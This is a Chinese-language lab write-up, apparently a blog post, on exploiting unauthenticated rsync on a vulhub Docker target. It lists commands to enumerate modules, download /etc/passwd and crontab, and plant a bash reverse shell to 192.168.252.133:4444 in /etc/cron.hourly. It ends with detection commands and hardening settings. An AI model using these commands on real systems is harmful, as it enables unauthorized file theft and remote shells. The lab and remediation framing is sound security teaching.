漏洞介绍

rsync是Linux系统下的数据镜像备份工具,使用快速增量备份工具Remote Sync可以远程同步,支持本地复制,或者与其他ssh,rsync主机同步。也就是说如果你可以连接目标IP的rsync,那么你就可以上传恶意文件或下载目标IP上的任意文件(rsync默认是root权限),rsync默认端口号是873,rsync默认匿名访问模式,如果没有配置RCL或访问密码,因此我们不需要认证直接连接rsync,这样也就形成了漏洞。

环境介绍

攻击机:kali
靶机:ubuntu18.0.4
Rsync环境:vulhub环境

环境搭建

首先我们进入目录/vulhub-master/rsync/common,然后执行构建环境并开启

docker-compose bulid
docker-compose up -d


rsync的常用命令:

列举整个同步目录或指定目录:
rsync ip::
rsync ip::xxx/
下载文件或目录到本地:
rsync -avz ip::xxx/xx.php /root
rsync -avz ip::xxx/ /var/tmp
上传文件到服务器:
rsync -avz webshell.php ip::web/

漏洞复现

1.首先我们在攻击机上对目标靶机进行扫描,发现端口如下:

nmap 192.168.252.170


我们可以看到rsync的端口是开启的
2.我们查看一下模块名列表以及其文件
我们在攻击机中执行如下命令

rsync rsync://192.168.252.170:873/
rsync rsync://192.168.252.170:873/src


3.下载其中的文件

rsync -av rsync://192.168.252.170:873/src/etc/passwd ./


我们将存放密码的文件下载,可以使用cat命令查看
4.编写shell文件
我们shell文件中写入

#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.252.133/4444 0>&1


然后赋予执行权限

chmod +x shell

5.我们从靶机中下载cron定时任务配置文件查看任务内容

rsync -av rsync://192.168.252.170:873/src/etc/crontab ./
cat crontab


我们可以看到任务中每17分钟就会执行/etc/cron.hourly下文件的任务
6.将shell文件上传到靶机中的/etc/cron.hourly目录中:

rsync -av shell rsync://192.168.252.170/src/etc/cron.hourly


7.等待任务被执行,就会反弹shell。

这里我们遇到了问题,就是计划任务时间是17分钟,时间有点长,我们尝试了修改其值为1,然后上传盖但是还是没有反弹shell,后来我们发现是docker中的计划任务没有执行导致无法反弹shell。

漏洞发现

rsync的漏洞扫描方式可以通过一下两种方式实现:
1.使用Metasploit中的rsync匿名访问扫描模块:

use auxiliary/scanner/rsync/modules_list 
set RHOSTS 192.168.252.170
set THREADS 1
run


2.使用nmap扫描

nmap -p 873 --scrip rsync-list-modules 192.168.252.170

漏洞修复

我们可以查看一下rsync的配置文件

我们可以发现,用户可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,所以无需密码可以直接访问rsync。
根据配置来修复的话,我们可以更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:

访问控制;设置host allow,限制允许访问主机的IP。
权限控制;设置auth users ,将模块设置成只读。
权限控制;设置read only,将模块设置成只读。
访问认证;设置auth、secrets,认证成功才能调用服务。
模块隐藏;设置list,将模块隐藏。

最后修改:2020 年 08 月 26 日
如果觉得我的文章对你有用,请随意赞赏